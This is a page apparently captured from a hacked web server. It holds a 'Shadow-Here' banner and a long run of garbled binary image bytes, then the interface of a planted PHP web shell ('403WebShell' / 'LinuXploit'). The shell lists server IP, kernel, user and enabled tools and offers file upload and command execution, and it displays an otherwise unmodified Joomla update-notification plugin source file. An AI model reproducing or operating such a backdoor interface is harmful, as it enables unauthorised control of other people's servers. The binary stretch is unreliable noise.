....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.33  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/plugins/system/updatenotification/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/web032/htdocs/cms/plugins/system/updatenotification/updatenotification.php
<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.updatenotification
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Uncomment the following line to enable debug mode (update notification email sent every single time)
// define('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG', 1);

/**
 * Joomla! Update Notification plugin
 *
 * Sends out an email to all Super Users or a predefined email address when a new Joomla! version is available.
 *
 * This plugin is a direct adaptation of the corresponding plugin in Akeeba Ltd's Admin Tools. The author has
 * consented to relicensing their plugin's code under GPLv2 or later (the original version was licensed under
 * GPLv3 or later) to allow its inclusion in the Joomla! CMS.
 *
 * @since  3.5
 */
class PlgSystemUpdatenotification extends JPlugin
{
	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.6.3
	 */
	protected $autoloadLanguage = true;

	/**
	 * The update check and notification email code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterRender()
	{
		// Get the timeout for Joomla! updates, as configured in com_installer's component parameters
		$component = JComponentHelper::getComponent('com_installer');

		/** @var \Joomla\Registry\Registry $params */
		$params        = $component->params;
		$cache_timeout = (int) $params->get('cachetimeout', 6);
		$cache_timeout = 3600 * $cache_timeout;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if (!defined('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG') && (abs($now - $last) < $cache_timeout))
		{
			return;
		}

		// Update last run status
		// If I have the time of the last run, I can update, otherwise insert
		$this->params->set('lastrun', $now);

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
					->update($db->qn('#__extensions'))
					->set($db->qn('params') . ' = ' . $db->q($this->params->toString('JSON')))
					->where($db->qn('type') . ' = ' . $db->q('plugin'))
					->where($db->qn('folder') . ' = ' . $db->q('system'))
					->where($db->qn('element') . ' = ' . $db->q('updatenotification'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// This is the extension ID for Joomla! itself
		$eid = 700;

		// Get any available updates
		$updater = JUpdater::getInstance();
		$results = $updater->findUpdates(array($eid), $cache_timeout);

		// If there are no updates our job is done. We need BOTH this check AND the one below.
		if (!$results)
		{
			return;
		}

		// Unfortunately Joomla! MVC doesn't allow us to autoload classes
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_installer/models', 'InstallerModel');

		// Get the update model and retrieve the Joomla! core updates
		$model = JModelLegacy::getInstance('Update', 'InstallerModel');
		$model->setState('filter.extension_id', $eid);
		$updates = $model->getItems();

		// If there are no updates we don't have to notify anyone about anything. This is NOT a duplicate check.
		if (empty($updates))
		{
			return;
		}

		// Get the available update
		$update = array_pop($updates);

		// Check the available version. If it's the same or less than the installed version we have no updates to notify about.
		if (version_compare($update->version, JVERSION, 'le'))
		{
			return;
		}

		// If we're here, we have updates. First, get a link to the Joomla! Update component.
		$baseURL  = JUri::base();
		$baseURL  = rtrim($baseURL, '/');
		$baseURL .= (substr($baseURL, -13) !== 'administrator') ? '/administrator/' : '/';
		$baseURL .= 'index.php?option=com_joomlaupdate';
		$uri      = new JUri($baseURL);

		/**
		 * Some third party security solutions require a secret query parameter to allow log in to the administrator
		 * backend of the site. The link generated above will be invalid and could probably block the user out of their
		 * site, confusing them (they can't understand the third party security solution is not part of Joomla! proper).
		 * So, we're calling the onBuildAdministratorLoginURL system plugin event to let these third party solutions
		 * add any necessary secret query parameters to the URL. The plugins are supposed to have a method with the
		 * signature:
		 *
		 * public function onBuildAdministratorLoginURL(JUri &$uri);
		 *
		 * The plugins should modify the $uri object directly and return null.
		 */

		JEventDispatcher::getInstance()->trigger('onBuildAdministratorLoginURL', array(&$uri));

		// Let's find out the email addresses to notify
		$superUsers    = array();
		$specificEmail = $this->params->get('email', '');

		if (!empty($specificEmail))
		{
			$superUsers = $this->getSuperUsers($specificEmail);
		}

		if (empty($superUsers))
		{
			$superUsers = $this->getSuperUsers();
		}

		if (empty($superUsers))
		{
			return;
		}

		/*
		 * Load the appropriate language. We try to load English (UK), the current user's language and the forced
		 * language preference, in this order. This ensures that we'll never end up with untranslated strings in the
		 * update email which would make Joomla! seem bad. So, please, if you don't fully understand what the
		 * following code does DO NOT TOUCH IT. It makes the difference between a hobbyist CMS and a professional
		 * solution! 
		 */
		$jLanguage = JFactory::getLanguage();
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, 'en-GB', true, true);
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, null, true, false);

		// Then try loading the preferred (forced) language
		$forcedLanguage = $this->params->get('language_override', '');

		if (!empty($forcedLanguage))
		{
			$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, $forcedLanguage, true, false);
		}

		// Set up the email subject and body

		$email_subject = JText::_('PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_SUBJECT');
		$email_body    = JText::_('PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_BODY');

		// Replace merge codes with their values
		$newVersion = $update->version;

		$jVersion       = new JVersion;
		$currentVersion = $jVersion->getShortVersion();

		$jConfig  = JFactory::getConfig();
		$sitename = $jConfig->get('sitename');
		$mailFrom = $jConfig->get('mailfrom');
		$fromName = $jConfig->get('fromname');

		$substitutions = array(
			'[NEWVERSION]'  => $newVersion,
			'[CURVERSION]'  => $currentVersion,
			'[SITENAME]'    => $sitename,
			'[URL]'         => JUri::base(),
			'[LINK]'        => $uri->toString(),
			'[RELEASENEWS]' => 'https://www.joomla.org/announcements/release-news/',
			'\\n'           => "\n",
		);

		foreach ($substitutions as $k => $v)
		{
			$email_subject = str_replace($k, $v, $email_subject);
			$email_body    = str_replace($k, $v, $email_body);
		}

		// Send the emails to the Super Users
		foreach ($superUsers as $superUser)
		{
			$mailer = JFactory::getMailer();
			$mailer->setSender(array($mailFrom, $fromName));
			$mailer->addRecipient($superUser->email);
			$mailer->setSubject($email_subject);
			$mailer->setBody($email_body);
			$mailer->Send();
		}
	}

	/**
	 * Returns the Super Users email information. If you provide a comma separated $email list
	 * we will check that these emails do belong to Super Users and that they have not blocked
	 * system emails.
	 *
	 * @param   null|string  $email  A list of Super Users to email
	 *
	 * @return  array  The list of Super User emails
	 *
	 * @since   3.5
	 */
	private function getSuperUsers($email = null)
	{
		// Get a reference to the database object
		$db = JFactory::getDbo();

		// Convert the email list to an array
		if (!empty($email))
		{
			$temp   = explode(',', $email);
			$emails = array();

			foreach ($temp as $entry)
			{
				$entry    = trim($entry);
				$emails[] = $db->q($entry);
			}

			$emails = array_unique($emails);
		}
		else
		{
			$emails = array();
		}

		// Get a list of groups which have Super User privileges
		$ret = array();

		try
		{
			$rootId    = JTable::getInstance('Asset', 'JTable')->getRootId();
			$rules     = JAccess::getAssetRules($rootId)->getData();
			$rawGroups = $rules['core.admin']->getData();
			$groups    = array();

			if (empty($rawGroups))
			{
				return $ret;
			}

			foreach ($rawGroups as $g => $enabled)
			{
				if ($enabled)
				{
					$groups[] = $db->q($g);
				}
			}

			if (empty($groups))
			{
				return $ret;
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user IDs of users belonging to the SA groups
		try
		{
			$query = $db->getQuery(true)
						->select($db->qn('user_id'))
						->from($db->qn('#__user_usergroup_map'))
						->where($db->qn('group_id') . ' IN(' . implode(',', $groups) . ')');
			$db->setQuery($query);
			$rawUserIDs = $db->loadColumn(0);

			if (empty($rawUserIDs))
			{
				return $ret;
			}

			$userIDs = array();

			foreach ($rawUserIDs as $id)
			{
				$userIDs[] = $db->q($id);
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user information for the Super Administrator users
		try
		{
			$query = $db->getQuery(true)
						->select(
							array(
								$db->qn('id'),
								$db->qn('username'),
								$db->qn('email'),
							)
						)->from($db->qn('#__users'))
						->where($db->qn('id') . ' IN(' . implode(',', $userIDs) . ')')
						->where($db->qn('block') . ' = 0')
						->where($db->qn('sendEmail') . ' = ' . $db->q('1'));

			if (!empty($emails))
			{
				$query->where('LOWER(' . $db->qn('email') . ') IN(' . implode(',', array_map('strtolower', $emails)) . ')');
			}

			$db->setQuery($query);
			$ret = $db->loadObjectList();
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		return $ret;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = JFactory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit